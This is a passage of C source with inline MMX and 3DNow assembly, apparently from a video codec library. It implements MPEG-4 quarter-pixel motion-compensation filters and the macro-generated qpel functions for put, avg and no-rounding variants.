"paddw %2, %%mm1 \n\t"\ "psraw $5, %%mm0 \n\t"\ "psraw $5, %%mm1 \n\t"\ "packuswb %%mm1, %%mm0 \n\t"\ OP_3DNOW(%%mm0, 8(%1), %%mm1, q)\ :: "r"(temp), "r"(dst), "m"(ROUNDER)\ : "memory"\ );\ dst+=dstStride;\ src+=srcStride;\ }\ }\ \ static void OPNAME ## mpeg4_qpel8_h_lowpass_mmx2(uint8_t *dst, uint8_t *src, int dstStride, int srcStride, int h){\ asm volatile(\ "pxor %%mm7, %%mm7 \n\t"\ "1: \n\t"\ "movq (%0), %%mm0 \n\t" \ "movq %%mm0, %%mm1 \n\t" \ "movq %%mm0, %%mm2 \n\t" \ "punpcklbw %%mm7, %%mm0 \n\t" \ "punpckhbw %%mm7, %%mm1 \n\t" \ "pshufw $0x90, %%mm0, %%mm5 \n\t" \ "pshufw $0x41, %%mm0, %%mm6 \n\t" \ "movq %%mm2, %%mm3 \n\t" \ "movq %%mm2, %%mm4 \n\t" \ "psllq $8, %%mm2 \n\t" \ "psllq $16, %%mm3 \n\t" \ "psllq $24, %%mm4 \n\t" \ "punpckhbw %%mm7, %%mm2 \n\t" \ "punpckhbw %%mm7, %%mm3 \n\t" \ "punpckhbw %%mm7, %%mm4 \n\t" \ "paddw %%mm3, %%mm5 \n\t" \ "paddw %%mm2, %%mm6 \n\t" \ "paddw %%mm5, %%mm5 \n\t" \ "psubw %%mm5, %%mm6 \n\t" \ "pshufw $0x06, %%mm0, %%mm5 \n\t" \ "pmullw "MANGLE(ff_pw_3)", %%mm6 \n\t" \ "paddw %%mm4, %%mm0 \n\t" \ "paddw %%mm1, %%mm5 \n\t" \ "pmullw "MANGLE(ff_pw_20)", %%mm0 \n\t" \ "psubw %%mm5, %%mm0 \n\t" \ "paddw %5, %%mm6 \n\t"\ "paddw %%mm6, %%mm0 \n\t" \ "psraw $5, %%mm0 \n\t"\ \ \ "movd 5(%0), %%mm5 \n\t" \ "punpcklbw %%mm7, %%mm5 \n\t" \ "pshufw $0xF9, %%mm5, %%mm6 \n\t" \ "paddw %%mm5, %%mm1 \n\t" \ "paddw %%mm6, %%mm2 \n\t" \ "pshufw $0xBE, %%mm5, %%mm6 \n\t" \ "pshufw $0x6F, %%mm5, %%mm5 \n\t" \ "paddw %%mm6, %%mm3 \n\t" \ "paddw %%mm5, %%mm4 \n\t" \ "paddw %%mm2, %%mm2 \n\t" \ "psubw %%mm2, %%mm3 \n\t" \ "pmullw "MANGLE(ff_pw_20)", %%mm1 \n\t" \ "pmullw "MANGLE(ff_pw_3)", %%mm3 \n\t" \ "psubw %%mm4, %%mm3 \n\t" \ "paddw %5, %%mm1 \n\t"\ "paddw %%mm1, %%mm3 \n\t" \ "psraw $5, %%mm3 \n\t"\ "packuswb %%mm3, %%mm0 \n\t"\ OP_MMX2(%%mm0, (%1), %%mm4, q)\ \ "add %3, %0 \n\t"\ "add %4, %1 \n\t"\ "decl %2 \n\t"\ " jnz 1b \n\t"\ : "+a"(src), "+c"(dst), "+g"(h)\ : "S"((long)srcStride), "D"((long)dstStride), "m"(ROUNDER)\ : "memory"\ );\ }\ \ static void OPNAME ## mpeg4_qpel8_h_lowpass_3dnow(uint8_t *dst, uint8_t *src, int dstStride, int srcStride, int h){\ int i;\ int16_t temp[8];\ \ for(i=0; i<h; i++)\ {\ temp[ 0]= (src[ 0]+src[ 1])*20 - (src[ 0]+src[ 2])*6 + (src[ 1]+src[ 3])*3 - (src[ 2]+src[ 4]);\ temp[ 1]= (src[ 1]+src[ 2])*20 - (src[ 0]+src[ 3])*6 + (src[ 0]+src[ 4])*3 - (src[ 1]+src[ 5]);\ temp[ 2]= (src[ 2]+src[ 3])*20 - (src[ 1]+src[ 4])*6 + (src[ 0]+src[ 5])*3 - (src[ 0]+src[ 6]);\ temp[ 3]= (src[ 3]+src[ 4])*20 - (src[ 2]+src[ 5])*6 + (src[ 1]+src[ 6])*3 - (src[ 0]+src[ 7]);\ temp[ 4]= (src[ 4]+src[ 5])*20 - (src[ 3]+src[ 6])*6 + (src[ 2]+src[ 7])*3 - (src[ 1]+src[ 8]);\ temp[ 5]= (src[ 5]+src[ 6])*20 - (src[ 4]+src[ 7])*6 + (src[ 3]+src[ 8])*3 - (src[ 2]+src[ 8]);\ temp[ 6]= (src[ 6]+src[ 7])*20 - (src[ 5]+src[ 8])*6 + (src[ 4]+src[ 8])*3 - (src[ 3]+src[ 7]);\ temp[ 7]= (src[ 7]+src[ 8])*20 - (src[ 6]+src[ 8])*6 + (src[ 5]+src[ 7])*3 - (src[ 4]+src[ 6]);\ asm volatile(\ "movq (%0), %%mm0 \n\t"\ "movq 8(%0), %%mm1 \n\t"\ "paddw %2, %%mm0 \n\t"\ "paddw %2, %%mm1 \n\t"\ "psraw $5, %%mm0 \n\t"\ "psraw $5, %%mm1 \n\t"\ "packuswb %%mm1, %%mm0 \n\t"\ OP_3DNOW(%%mm0, (%1), %%mm1, q)\ :: "r"(temp), "r"(dst), "m"(ROUNDER)\ :"memory"\ );\ dst+=dstStride;\ src+=srcStride;\ }\ } #define QPEL_OP(OPNAME, ROUNDER, RND, OP, MMX)\ \ static void OPNAME ## mpeg4_qpel16_v_lowpass_ ## MMX(uint8_t *dst, uint8_t *src, int dstStride, int srcStride){\ uint64_t temp[17*4];\ uint64_t *temp_ptr= temp;\ int count= 17;\ \ \ asm volatile(\ "pxor %%mm7, %%mm7 \n\t"\ "1: \n\t"\ "movq (%0), %%mm0 \n\t"\ "movq (%0), %%mm1 \n\t"\ "movq 8(%0), %%mm2 \n\t"\ "movq 8(%0), %%mm3 \n\t"\ "punpcklbw %%mm7, %%mm0 \n\t"\ "punpckhbw %%mm7, %%mm1 \n\t"\ "punpcklbw %%mm7, %%mm2 \n\t"\ "punpckhbw %%mm7, %%mm3 \n\t"\ "movq %%mm0, (%1) \n\t"\ "movq %%mm1, 17*8(%1) \n\t"\ "movq %%mm2, 2*17*8(%1) \n\t"\ "movq %%mm3, 3*17*8(%1) \n\t"\ "add $8, %1 \n\t"\ "add %3, %0 \n\t"\ "decl %2 \n\t"\ " jnz 1b \n\t"\ : "+r" (src), "+r" (temp_ptr), "+r"(count)\ : "r" ((long)srcStride)\ : "memory"\ );\ \ temp_ptr= temp;\ count=4;\ \ \ asm volatile(\ \ "1: \n\t"\ "movq (%0), %%mm0 \n\t"\ "movq 8(%0), %%mm1 \n\t"\ "movq 16(%0), %%mm2 \n\t"\ "movq 24(%0), %%mm3 \n\t"\ QPEL_V_LOW(%%mm0, %%mm1, %%mm2, %%mm3, %5, %6, %5, 16(%0), 8(%0), (%0), 32(%0), (%1), OP)\ QPEL_V_LOW(%%mm1, %%mm2, %%mm3, %%mm0, %5, %6, %5, 8(%0), (%0), (%0), 40(%0), (%1, %3), OP)\ "add %4, %1 \n\t"\ QPEL_V_LOW(%%mm2, %%mm3, %%mm0, %%mm1, %5, %6, %5, (%0), (%0), 8(%0), 48(%0), (%1), OP)\ \ QPEL_V_LOW(%%mm3, %%mm0, %%mm1, %%mm2, %5, %6, %5, (%0), 8(%0), 16(%0), 56(%0), (%1, %3), OP)\ "add %4, %1 \n\t"\ QPEL_V_LOW(%%mm0, %%mm1, %%mm2, %%mm3, %5, %6, %5, 8(%0), 16(%0), 24(%0), 64(%0), (%1), OP)\ QPEL_V_LOW(%%mm1, %%mm2, %%mm3, %%mm0, %5, %6, %5, 16(%0), 24(%0), 32(%0), 72(%0), (%1, %3), OP)\ "add %4, %1 \n\t"\ QPEL_V_LOW(%%mm2, %%mm3, %%mm0, %%mm1, %5, %6, %5, 24(%0), 32(%0), 40(%0), 80(%0), (%1), OP)\ QPEL_V_LOW(%%mm3, %%mm0, %%mm1, %%mm2, %5, %6, %5, 32(%0), 40(%0), 48(%0), 88(%0), (%1, %3), OP)\ "add %4, %1 \n\t"\ QPEL_V_LOW(%%mm0, %%mm1, %%mm2, %%mm3, %5, %6, %5, 40(%0), 48(%0), 56(%0), 96(%0), (%1), OP)\ QPEL_V_LOW(%%mm1, %%mm2, %%mm3, %%mm0, %5, %6, %5, 48(%0), 56(%0), 64(%0),104(%0), (%1, %3), OP)\ "add %4, %1 \n\t"\ QPEL_V_LOW(%%mm2, %%mm3, %%mm0, %%mm1, %5, %6, %5, 56(%0), 64(%0), 72(%0),112(%0), (%1), OP)\ QPEL_V_LOW(%%mm3, %%mm0, %%mm1, %%mm2, %5, %6, %5, 64(%0), 72(%0), 80(%0),120(%0), (%1, %3), OP)\ "add %4, %1 \n\t"\ QPEL_V_LOW(%%mm0, %%mm1, %%mm2, %%mm3, %5, %6, %5, 72(%0), 80(%0), 88(%0),128(%0), (%1), OP)\ \ QPEL_V_LOW(%%mm1, %%mm2, %%mm3, %%mm0, %5, %6, %5, 80(%0), 88(%0), 96(%0),128(%0), (%1, %3), OP)\ "add %4, %1 \n\t" \ QPEL_V_LOW(%%mm2, %%mm3, %%mm0, %%mm1, %5, %6, %5, 88(%0), 96(%0),104(%0),120(%0), (%1), OP)\ QPEL_V_LOW(%%mm3, %%mm0, %%mm1, %%mm2, %5, %6, %5, 96(%0),104(%0),112(%0),112(%0), (%1, %3), OP)\ \ "add $136, %0 \n\t"\ "add %6, %1 \n\t"\ "decl %2 \n\t"\ " jnz 1b \n\t"\ \ : "+r"(temp_ptr), "+r"(dst), "+g"(count)\ : "r"((long)dstStride), "r"(2*(long)dstStride), "m"(ROUNDER), "g"(4-14*(long)dstStride)\ :"memory"\ );\ }\ \ static void OPNAME ## mpeg4_qpel8_v_lowpass_ ## MMX(uint8_t *dst, uint8_t *src, int dstStride, int srcStride){\ uint64_t temp[9*2];\ uint64_t *temp_ptr= temp;\ int count= 9;\ \ \ asm volatile(\ "pxor %%mm7, %%mm7 \n\t"\ "1: \n\t"\ "movq (%0), %%mm0 \n\t"\ "movq (%0), %%mm1 \n\t"\ "punpcklbw %%mm7, %%mm0 \n\t"\ "punpckhbw %%mm7, %%mm1 \n\t"\ "movq %%mm0, (%1) \n\t"\ "movq %%mm1, 9*8(%1) \n\t"\ "add $8, %1 \n\t"\ "add %3, %0 \n\t"\ "decl %2 \n\t"\ " jnz 1b \n\t"\ : "+r" (src), "+r" (temp_ptr), "+r"(count)\ : "r" ((long)srcStride)\ : "memory"\ );\ \ temp_ptr= temp;\ count=2;\ \ \ asm volatile(\ \ "1: \n\t"\ "movq (%0), %%mm0 \n\t"\ "movq 8(%0), %%mm1 \n\t"\ "movq 16(%0), %%mm2 \n\t"\ "movq 24(%0), %%mm3 \n\t"\ QPEL_V_LOW(%%mm0, %%mm1, %%mm2, %%mm3, %5, %6, %5, 16(%0), 8(%0), (%0), 32(%0), (%1), OP)\ QPEL_V_LOW(%%mm1, %%mm2, %%mm3, %%mm0, %5, %6, %5, 8(%0), (%0), (%0), 40(%0), (%1, %3), OP)\ "add %4, %1 \n\t"\ QPEL_V_LOW(%%mm2, %%mm3, %%mm0, %%mm1, %5, %6, %5, (%0), (%0), 8(%0), 48(%0), (%1), OP)\ \ QPEL_V_LOW(%%mm3, %%mm0, %%mm1, %%mm2, %5, %6, %5, (%0), 8(%0), 16(%0), 56(%0), (%1, %3), OP)\ "add %4, %1 \n\t"\ QPEL_V_LOW(%%mm0, %%mm1, %%mm2, %%mm3, %5, %6, %5, 8(%0), 16(%0), 24(%0), 64(%0), (%1), OP)\ \ QPEL_V_LOW(%%mm1, %%mm2, %%mm3, %%mm0, %5, %6, %5, 16(%0), 24(%0), 32(%0), 64(%0), (%1, %3), OP)\ "add %4, %1 \n\t"\ QPEL_V_LOW(%%mm2, %%mm3, %%mm0, %%mm1, %5, %6, %5, 24(%0), 32(%0), 40(%0), 56(%0), (%1), OP)\ QPEL_V_LOW(%%mm3, %%mm0, %%mm1, %%mm2, %5, %6, %5, 32(%0), 40(%0), 48(%0), 48(%0), (%1, %3), OP)\ \ "add $72, %0 \n\t"\ "add %6, %1 \n\t"\ "decl %2 \n\t"\ " jnz 1b \n\t"\ \ : "+r"(temp_ptr), "+r"(dst), "+g"(count)\ : "r"((long)dstStride), "r"(2*(long)dstStride), "m"(ROUNDER), "g"(4-6*(long)dstStride)\ : "memory"\ );\ }\ \ static void OPNAME ## qpel8_mc00_ ## MMX (uint8_t *dst, uint8_t *src, int stride){\ OPNAME ## pixels8_ ## MMX(dst, src, stride, 8);\ }\ \ static void OPNAME ## qpel8_mc10_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t temp[8];\ uint8_t * const half= (uint8_t*)temp;\ put ## RND ## mpeg4_qpel8_h_lowpass_ ## MMX(half, src, 8, stride, 8);\ OPNAME ## pixels8_l2_ ## MMX(dst, src, half, stride, stride, 8);\ }\ \ static void OPNAME ## qpel8_mc20_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ OPNAME ## mpeg4_qpel8_h_lowpass_ ## MMX(dst, src, stride, stride, 8);\ }\ \ static void OPNAME ## qpel8_mc30_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t temp[8];\ uint8_t * const half= (uint8_t*)temp;\ put ## RND ## mpeg4_qpel8_h_lowpass_ ## MMX(half, src, 8, stride, 8);\ OPNAME ## pixels8_l2_ ## MMX(dst, src+1, half, stride, stride, 8);\ }\ \ static void OPNAME ## qpel8_mc01_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t temp[8];\ uint8_t * const half= (uint8_t*)temp;\ put ## RND ## mpeg4_qpel8_v_lowpass_ ## MMX(half, src, 8, stride);\ OPNAME ## pixels8_l2_ ## MMX(dst, src, half, stride, stride, 8);\ }\ \ static void OPNAME ## qpel8_mc02_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ OPNAME ## mpeg4_qpel8_v_lowpass_ ## MMX(dst, src, stride, stride);\ }\ \ static void OPNAME ## qpel8_mc03_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t temp[8];\ uint8_t * const half= (uint8_t*)temp;\ put ## RND ## mpeg4_qpel8_v_lowpass_ ## MMX(half, src, 8, stride);\ OPNAME ## pixels8_l2_ ## MMX(dst, src+stride, half, stride, stride, 8);\ }\ static void OPNAME ## qpel8_mc11_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[8 + 9];\ uint8_t * const halfH= ((uint8_t*)half) + 64;\ uint8_t * const halfHV= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel8_h_lowpass_ ## MMX(halfH, src, 8, stride, 9);\ put ## RND ## pixels8_l2_ ## MMX(halfH, src, halfH, 8, stride, 9);\ put ## RND ## mpeg4_qpel8_v_lowpass_ ## MMX(halfHV, halfH, 8, 8);\ OPNAME ## pixels8_l2_ ## MMX(dst, halfH, halfHV, stride, 8, 8);\ }\ static void OPNAME ## qpel8_mc31_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[8 + 9];\ uint8_t * const halfH= ((uint8_t*)half) + 64;\ uint8_t * const halfHV= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel8_h_lowpass_ ## MMX(halfH, src, 8, stride, 9);\ put ## RND ## pixels8_l2_ ## MMX(halfH, src+1, halfH, 8, stride, 9);\ put ## RND ## mpeg4_qpel8_v_lowpass_ ## MMX(halfHV, halfH, 8, 8);\ OPNAME ## pixels8_l2_ ## MMX(dst, halfH, halfHV, stride, 8, 8);\ }\ static void OPNAME ## qpel8_mc13_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[8 + 9];\ uint8_t * const halfH= ((uint8_t*)half) + 64;\ uint8_t * const halfHV= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel8_h_lowpass_ ## MMX(halfH, src, 8, stride, 9);\ put ## RND ## pixels8_l2_ ## MMX(halfH, src, halfH, 8, stride, 9);\ put ## RND ## mpeg4_qpel8_v_lowpass_ ## MMX(halfHV, halfH, 8, 8);\ OPNAME ## pixels8_l2_ ## MMX(dst, halfH+8, halfHV, stride, 8, 8);\ }\ static void OPNAME ## qpel8_mc33_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[8 + 9];\ uint8_t * const halfH= ((uint8_t*)half) + 64;\ uint8_t * const halfHV= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel8_h_lowpass_ ## MMX(halfH, src, 8, stride, 9);\ put ## RND ## pixels8_l2_ ## MMX(halfH, src+1, halfH, 8, stride, 9);\ put ## RND ## mpeg4_qpel8_v_lowpass_ ## MMX(halfHV, halfH, 8, 8);\ OPNAME ## pixels8_l2_ ## MMX(dst, halfH+8, halfHV, stride, 8, 8);\ }\ static void OPNAME ## qpel8_mc21_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[8 + 9];\ uint8_t * const halfH= ((uint8_t*)half) + 64;\ uint8_t * const halfHV= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel8_h_lowpass_ ## MMX(halfH, src, 8, stride, 9);\ put ## RND ## mpeg4_qpel8_v_lowpass_ ## MMX(halfHV, halfH, 8, 8);\ OPNAME ## pixels8_l2_ ## MMX(dst, halfH, halfHV, stride, 8, 8);\ }\ static void OPNAME ## qpel8_mc23_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[8 + 9];\ uint8_t * const halfH= ((uint8_t*)half) + 64;\ uint8_t * const halfHV= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel8_h_lowpass_ ## MMX(halfH, src, 8, stride, 9);\ put ## RND ## mpeg4_qpel8_v_lowpass_ ## MMX(halfHV, halfH, 8, 8);\ OPNAME ## pixels8_l2_ ## MMX(dst, halfH+8, halfHV, stride, 8, 8);\ }\ static void OPNAME ## qpel8_mc12_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[8 + 9];\ uint8_t * const halfH= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel8_h_lowpass_ ## MMX(halfH, src, 8, stride, 9);\ put ## RND ## pixels8_l2_ ## MMX(halfH, src, halfH, 8, stride, 9);\ OPNAME ## mpeg4_qpel8_v_lowpass_ ## MMX(dst, halfH, stride, 8);\ }\ static void OPNAME ## qpel8_mc32_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[8 + 9];\ uint8_t * const halfH= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel8_h_lowpass_ ## MMX(halfH, src, 8, stride, 9);\ put ## RND ## pixels8_l2_ ## MMX(halfH, src+1, halfH, 8, stride, 9);\ OPNAME ## mpeg4_qpel8_v_lowpass_ ## MMX(dst, halfH, stride, 8);\ }\ static void OPNAME ## qpel8_mc22_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[9];\ uint8_t * const halfH= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel8_h_lowpass_ ## MMX(halfH, src, 8, stride, 9);\ OPNAME ## mpeg4_qpel8_v_lowpass_ ## MMX(dst, halfH, stride, 8);\ }\ static void OPNAME ## qpel16_mc00_ ## MMX (uint8_t *dst, uint8_t *src, int stride){\ OPNAME ## pixels16_ ## MMX(dst, src, stride, 16);\ }\ \ static void OPNAME ## qpel16_mc10_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t temp[32];\ uint8_t * const half= (uint8_t*)temp;\ put ## RND ## mpeg4_qpel16_h_lowpass_ ## MMX(half, src, 16, stride, 16);\ OPNAME ## pixels16_l2_ ## MMX(dst, src, half, stride, stride, 16);\ }\ \ static void OPNAME ## qpel16_mc20_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ OPNAME ## mpeg4_qpel16_h_lowpass_ ## MMX(dst, src, stride, stride, 16);\ }\ \ static void OPNAME ## qpel16_mc30_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t temp[32];\ uint8_t * const half= (uint8_t*)temp;\ put ## RND ## mpeg4_qpel16_h_lowpass_ ## MMX(half, src, 16, stride, 16);\ OPNAME ## pixels16_l2_ ## MMX(dst, src+1, half, stride, stride, 16);\ }\ \ static void OPNAME ## qpel16_mc01_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t temp[32];\ uint8_t * const half= (uint8_t*)temp;\ put ## RND ## mpeg4_qpel16_v_lowpass_ ## MMX(half, src, 16, stride);\ OPNAME ## pixels16_l2_ ## MMX(dst, src, half, stride, stride, 16);\ }\ \ static void OPNAME ## qpel16_mc02_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ OPNAME ## mpeg4_qpel16_v_lowpass_ ## MMX(dst, src, stride, stride);\ }\ \ static void OPNAME ## qpel16_mc03_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t temp[32];\ uint8_t * const half= (uint8_t*)temp;\ put ## RND ## mpeg4_qpel16_v_lowpass_ ## MMX(half, src, 16, stride);\ OPNAME ## pixels16_l2_ ## MMX(dst, src+stride, half, stride, stride, 16);\ }\ static void OPNAME ## qpel16_mc11_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[16*2 + 17*2];\ uint8_t * const halfH= ((uint8_t*)half) + 256;\ uint8_t * const halfHV= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel16_h_lowpass_ ## MMX(halfH, src, 16, stride, 17);\ put ## RND ## pixels16_l2_ ## MMX(halfH, src, halfH, 16, stride, 17);\ put ## RND ## mpeg4_qpel16_v_lowpass_ ## MMX(halfHV, halfH, 16, 16);\ OPNAME ## pixels16_l2_ ## MMX(dst, halfH, halfHV, stride, 16, 16);\ }\ static void OPNAME ## qpel16_mc31_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[16*2 + 17*2];\ uint8_t * const halfH= ((uint8_t*)half) + 256;\ uint8_t * const halfHV= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel16_h_lowpass_ ## MMX(halfH, src, 16, stride, 17);\ put ## RND ## pixels16_l2_ ## MMX(halfH, src+1, halfH, 16, stride, 17);\ put ## RND ## mpeg4_qpel16_v_lowpass_ ## MMX(halfHV, halfH, 16, 16);\ OPNAME ## pixels16_l2_ ## MMX(dst, halfH, halfHV, stride, 16, 16);\ }\ static void OPNAME ## qpel16_mc13_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[16*2 + 17*2];\ uint8_t * const halfH= ((uint8_t*)half) + 256;\ uint8_t * const halfHV= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel16_h_lowpass_ ## MMX(halfH, src, 16, stride, 17);\ put ## RND ## pixels16_l2_ ## MMX(halfH, src, halfH, 16, stride, 17);\ put ## RND ## mpeg4_qpel16_v_lowpass_ ## MMX(halfHV, halfH, 16, 16);\ OPNAME ## pixels16_l2_ ## MMX(dst, halfH+16, halfHV, stride, 16, 16);\ }\ static void OPNAME ## qpel16_mc33_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[16*2 + 17*2];\ uint8_t * const halfH= ((uint8_t*)half) + 256;\ uint8_t * const halfHV= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel16_h_lowpass_ ## MMX(halfH, src, 16, stride, 17);\ put ## RND ## pixels16_l2_ ## MMX(halfH, src+1, halfH, 16, stride, 17);\ put ## RND ## mpeg4_qpel16_v_lowpass_ ## MMX(halfHV, halfH, 16, 16);\ OPNAME ## pixels16_l2_ ## MMX(dst, halfH+16, halfHV, stride, 16, 16);\ }\ static void OPNAME ## qpel16_mc21_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[16*2 + 17*2];\ uint8_t * const halfH= ((uint8_t*)half) + 256;\ uint8_t * const halfHV= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel16_h_lowpass_ ## MMX(halfH, src, 16, stride, 17);\ put ## RND ## mpeg4_qpel16_v_lowpass_ ## MMX(halfHV, halfH, 16, 16);\ OPNAME ## pixels16_l2_ ## MMX(dst, halfH, halfHV, stride, 16, 16);\ }\ static void OPNAME ## qpel16_mc23_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[16*2 + 17*2];\ uint8_t * const halfH= ((uint8_t*)half) + 256;\ uint8_t * const halfHV= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel16_h_lowpass_ ## MMX(halfH, src, 16, stride, 17);\ put ## RND ## mpeg4_qpel16_v_lowpass_ ## MMX(halfHV, halfH, 16, 16);\ OPNAME ## pixels16_l2_ ## MMX(dst, halfH+16, halfHV, stride, 16, 16);\ }\ static void OPNAME ## qpel16_mc12_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[17*2];\ uint8_t * const halfH= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel16_h_lowpass_ ## MMX(halfH, src, 16, stride, 17);\ put ## RND ## pixels16_l2_ ## MMX(halfH, src, halfH, 16, stride, 17);\ OPNAME ## mpeg4_qpel16_v_lowpass_ ## MMX(dst, halfH, stride, 16);\ }\ static void OPNAME ## qpel16_mc32_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[17*2];\ uint8_t * const halfH= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel16_h_lowpass_ ## MMX(halfH, src, 16, stride, 17);\ put ## RND ## pixels16_l2_ ## MMX(halfH, src+1, halfH, 16, stride, 17);\ OPNAME ## mpeg4_qpel16_v_lowpass_ ## MMX(dst, halfH, stride, 16);\ }\ static void OPNAME ## qpel16_mc22_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[17*2];\ uint8_t * const halfH= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel16_h_lowpass_ ## MMX(halfH, src, 16, stride, 17);\ OPNAME ## mpeg4_qpel16_v_lowpass_ ## MMX(dst, halfH, stride, 16);\ } #define PUT_OP(a,b,temp, size) "mov" #size " " #a ", " #b " \n\t" #define AVG_3DNOW_OP(a,b,temp, size) \ "mov" #size " " #b ", " #temp " \n\t"\ "pavgusb " #temp ", " #a " \n\t"\ "mov" #size " " #a ", " #b " \n\t" #define AVG_MMX2_OP(a,b,temp, size) \ "mov" #size " " #b ", " #temp " \n\t"\ "pavgb " #temp ", " #a " \n\t"\ "mov" #size " " #a ", " #b " \n\t" QPEL_BASE(put_ , ff_pw_16, _ , PUT_OP, PUT_OP) QPEL_BASE(avg_ , ff_pw_16, _ , AVG_MMX2_OP, AVG_3DNOW_OP) QPEL_BASE(put_no_rnd_, ff_pw_15, _no_rnd_, PUT_OP, PUT_OP) QPEL_OP(put_ , ff_pw_16, _ , PUT_OP, 3dnow) QPEL_OP(avg_ , ff_pw_16, _ , AVG_3DNOW_OP, 3dnow) QPEL_OP(put_no_rnd_, ff_pw_15, _no_rnd_, PUT_OP, 3dnow) QPEL_OP(put_ , ff_pw_16, _ , PUT_OP, mmx2) QPEL_OP(avg_ , ff_pw_16, _ , AVG_MMX2_OP, mmx2) QPEL_OP(put_no_rnd_, ff_pw_15, _no_rnd_, PUT_OP, mmx2) #define QPEL_2TAP_XY(OPNAME, SIZE, MMX, XY, HPEL)\ static void OPNAME ## 2tap_qpel ## SIZE ## _mc ## XY ## _ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ OPNAME ## pixels ## SIZE ## HPEL(dst, src, stride, SIZE);\ } #define QPEL_2TAP_L3(OPNAME, SIZE, MMX, XY, S0, S1, S2)\ static void OPNAME ## 2tap_qpel ## SIZE ## _mc ## XY ## _ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ OPNAME ## 2tap_qpel ## SIZE ## _l3_ ## MMX(dst, src+S0, stride, SIZE, S1, S2);\ } #define QPEL_2TAP(OPNAME, SIZE, MMX)\ QPEL_2TAP_XY(OPNAME, SIZE, MMX, 20, _x2_ ## MMX)\ QPEL_2TAP_XY(OPNAME, SIZE, MMX, 02, _y2_ ## MMX)\ QPEL_2TAP_XY(OPNAME, SIZE, MMX, 22, _xy2_mmx)\ static const qpel_mc_func OPNAME ## 2tap_qpel ## SIZE ## _mc00_ ## MMX =\ OPNAME ## qpel ## SIZE ## _mc00_ ## MMX;\ static const qpel_mc_func OPNAME ## 2tap_qpel ## SIZE ## _mc21_ ## MMX =\ OPNAME ## 2tap_qpel ## SIZE ## _mc20_ ## MMX;\ static const qpel_mc_func OPNAME ## 2tap_qpel ## SIZE ## _mc12_ ## MMX =\ OPNAME ## 2tap_qpel ## SIZE ## _mc02_ ## MMX;\ static void OPNAME ## 2tap_qpel ## SIZE ## _mc32_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ OPNAME ## pixels ## SIZE ## _y2_ ## MMX(dst, src+1, stride, SIZE);\ }\ static void OPNAME ## 2tap_qpel ## SIZE ## _mc23_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ OPNAME ## pixels ## SIZE ## _x2_ ## MMX(dst, src+stride, stride, SIZE);\ }\ QPEL_2TAP_L3(OPNAME, SIZE, MMX, 10, 0, 1, 0)\ QPEL_2TAP_L3(OPNAME, SIZE, MMX, 30, 1, -1, 0)\ QPEL_2TAP_L3(OPNAME, SIZE, MMX, 01, 0, stride, 0)\ QPEL_2TAP_L3(OPNAME, SIZE, MMX, 03, stride, -stride, 0)\ QPEL_2TAP_L3(OPNAME, SIZE, MMX, 11, 0, stride, 1)\ QPEL_2TAP_L3(OPNAME, SIZE, MMX, 31, 1, stride, -1)\ QPEL_2TAP_L3(OPNAME, SIZE, MMX, 13, stride, -stride, 1)\ QPEL_2TAP_L3(OPNAME, SIZE, MMX, 33, stride+1, -stride, -1)\ QPEL_2TAP(put_, 16, mmx2) QPEL_2TAP(avg_, 16, mmx2) QPEL_2TAP(put_, 8, mmx2) QPEL_2TAP(avg_, 8, mmx2) QPEL_2TAP(put_, 16, 3dnow) QPEL_2TAP(avg_, 16, 3dnow) QPEL_2TAP(put_, 8, 3dnow) QPEL_2TAP(avg_, 8, 3dnow) #if 0 static void just_return() { return; } #endif static void gmc_mmx(uint8_t 